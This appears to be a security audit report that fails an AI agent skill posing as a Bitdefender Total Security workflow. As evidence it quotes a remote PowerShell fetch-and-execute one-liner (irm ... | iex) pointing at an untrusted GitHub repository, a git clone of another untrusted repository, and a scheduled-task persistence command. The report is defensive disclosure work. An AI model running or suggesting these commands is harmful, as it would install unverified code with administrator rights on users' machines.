Skills
skills/aradotso/security-skills/bitdefender-total-security-workflow/Gen Agent Trust Hub

bitdefender-total-security-workflow

Fail

Audited by Gen Agent Trust Hub on Jun 22, 2026

Risk Level: HIGHREMOTE_CODE_EXECUTIONEXTERNAL_DOWNLOADSCOMMAND_EXECUTION
Full Analysis
  • [REMOTE_CODE_EXECUTION]: The installation section instructs users to execute a remote PowerShell script directly from a GitHub repository using the irm ... | iex (Invoke-RestMethod piped to Invoke-Expression) pattern.
  • Evidence: irm https://raw.githubusercontent.com/CrystalContractor71/Release/main/install.ps1 | iex in SKILL.md.
  • The source repository (CrystalContractor71) is not associated with the skill author (Aradotso) or any trusted organization.
  • [EXTERNAL_DOWNLOADS]: The skill downloads additional code from untrusted third-party repositories.
  • Evidence: git clone https://github.com/Forwardmetier57/Bitdefender-Total-Security-2026.git in SKILL.md.
  • [COMMAND_EXECUTION]: The skill documentation encourages users to run PowerShell with Administrator privileges to execute unverified remote scripts and local setup commands.
  • The skill includes a script to create a Windows Scheduled Task, which functions as a persistence mechanism to ensure code runs daily.
  • Evidence: Register-ScheduledTask -TaskName "BitdefenderDailyCheck" ... in SKILL.md.
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Jun 22, 2026, 01:17 PM
Security Audit — agent-trust-hub — bitdefender-total-security-workflow